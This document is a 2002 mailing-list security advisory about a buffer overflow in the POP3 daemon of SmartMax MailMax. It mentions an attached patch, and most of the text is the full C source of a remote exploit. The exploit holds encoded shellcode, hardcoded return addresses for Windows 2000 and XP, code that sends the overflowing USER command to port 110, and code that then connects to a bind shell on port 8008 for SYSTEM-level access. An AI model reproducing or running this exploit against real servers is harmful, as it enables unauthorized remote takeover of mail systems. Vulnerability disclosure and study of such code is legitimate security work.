2c79cbe14ac7d0b8472d3f129fa1df55 Security Advisory #4 #PRODUCT SmartMax Software's MailMax Professional/Standard, All Versions #VULNERABILITY MailMax's POP3 daemon, 'popmax', does not perform proper bounds checking on the 'USER' argument resulting in the possibility of crashing the service or remotely manipulating local registers to the end of altering execution flow somewhere sinister.. as shown below #EXPLOITATION unfortunately, we do not get eip right out of the box here.. but with buffers of various sizes we can get eax, ecx, and edx.. edx being the most useful as shown below.. CALL [EDX+0C] @RVA413A08 so now we just need to drop the rva of our shell that we'd like to call into memory somewhere (-0C of course).. I wrote this exploit awhile ago, it's not dynamic as we are exploiting a pointer, so we can't just simply jmp to a register.. so instead I just repeated the shellcode rva that hits on my 3 test machines many times on every dword prior to the payload.. meaning we are depending on 2 static memory addresses.. there is probably a better way of doing this, but I don't care enough.. #PATCH well, I'm a nice guy.. so I wrote a patch and it's attached (+SOURCE for the untrusting).. it simply restricts 'USER' arguments to 90 characters by injecting a null.. it seems to cause no functionality problems in my tests.. the target version is 4.8.2.5 which is the current in both SE and PE.. YAY, no angry emails this time! #EOF? thats mailserver #3, just playing around.. the big boys are coming soon? a quarter spanish and half naked, 2c79cbe14ac7d0b8472d3f129fa1df55 __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com
Attachment:
mmpatch.zip
Description: mmpatch.zip
/* mmaxexp.c July 20th, 2002 SmartMax MailMax Standard/Professional 4.8 http://www.smartmax.com an overflow is present in the USER argument of the pop3max daemon.. however, we do not get eip.. but with buffers of various sizes we can get eax, ecx, and edx.. edx being the most useful as shown below.. CALL [EDX+0C] @RVA413A08 so now we just need to drop the rva of our shell that we'd like to call into memory somewhere (-0C of course)..see CALL YAY!@$! 2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com) */ #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/errno.h> #include <unistd.h> /* Windows 2000 Professional/Server */ char EDX2k[] = "\x30\xd7\x68\x06"; char CALL2k[] = "\xec\xd9\x68\x06"; /* Windows XP Professional */ char EDXxp[] = "\x30\xd7\x25\x06"; char CALLxp[] = "\xec\xd9\x25\x06"; /* we repeat the payload ptr on every */ /* dword prior to our target rva in */ /* order to increase those sexy odds */ char shell[2205]; char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90"; char payload[] ="\x55\x8b\xec" "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c" "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04" "\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15" "\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98" "\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7" "\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55" "\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f" "\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15" "\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15" "\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55" "\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55" "\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0" "\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33" "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33" "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30" "\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55" "\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55" "\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90" "\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15" "\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05" "\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f" "\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d" "\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33" "\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55" "\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea" "\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15" "\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43" "\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe" "\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98" "\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f" "\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5" "\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc" "\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea" "\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97" "\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15" "\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35" "\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33" "\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc" "\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea" "\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45" "\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15" "\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33" "\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55" "\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a" "\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72" "\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44" "\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea" "\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98" "\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8" "\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55" "\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74" "\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44" "\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80" "\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac" "\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07" "\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07" "\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d" "\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44" "\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91" "\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e" "\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71" "\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61" "\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a" "\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50" "\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70" "\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73" "\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70" "\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45" "\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a" "\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c" "\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56" "\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c" "\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71" "\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b" "\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b" "\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15" "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15" "\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15" "\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90" "\x0d\x0a"; main(char argc, char **argv){ int fd, i, opt; int bufsize = 1024; int *buffer = (int *)malloc(bufsize); struct sockaddr_in sin; struct hostent *he; struct in_addr in; printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n"); printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n"); if (argc < 4){ printf("usage: %s <hostname> -t <type>\n\n", argv[0]); printf("types: 0 - Windows 2000 Professional/Server\n"); printf(" 1 - Windows XP Professional\n\n"); exit(-1); } while ((opt = getopt(argc, argv, "t:"))){ switch(opt){ case 't': if(optarg[0] == '0'){ strcpy(shell, header); for(i = 1;i < 247;i++){ strcat(shell, CALL2k); } strcat(shell, EDX2k); strcat(shell, payload); break; } if(optarg[0] == '1'){ strcpy(shell, header); for(i = 1; i < 247;i++){ strcat(shell, CALLxp); } strcat(shell, EDXxp); strcat(shell, payload); break; } printf("invalid type\n\n"); printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n"); printf(" 1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n"); exit(-1); } break; } if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);} if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);} else if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);} sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(inet_ntoa(in)); sin.sin_port = htons(110); printf("connecting to tcp port 110 (POP3)...\n"); if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);} printf("connected.\n\n"); sleep(1); printf("dumping payload..."); if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);} printf("done\n"); printf("code dumped.\n\n"); close(fd); if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);} sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_port = htons(8008); printf("connecting to tcp port 8008... (wait 3s)\n"); sleep(3); if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?\n\n");exit(-1);} printf("success! izn0wnz3rat3d!\n\n"); while(1) { fd_set input; FD_SET(0,&input); FD_SET(fd,&input); if((select(fd+1,&input,NULL,NULL,NULL))<0) { if(errno==EINTR) continue; printf("connection reset\n"); fflush(stdout); exit(1); } if(FD_ISSET(fd,&input)) write(1,buffer,read(fd,buffer,bufsize)); if(FD_ISSET(0,&input)) write(fd,buffer,read(0,buffer,bufsize)); } close(fd); }
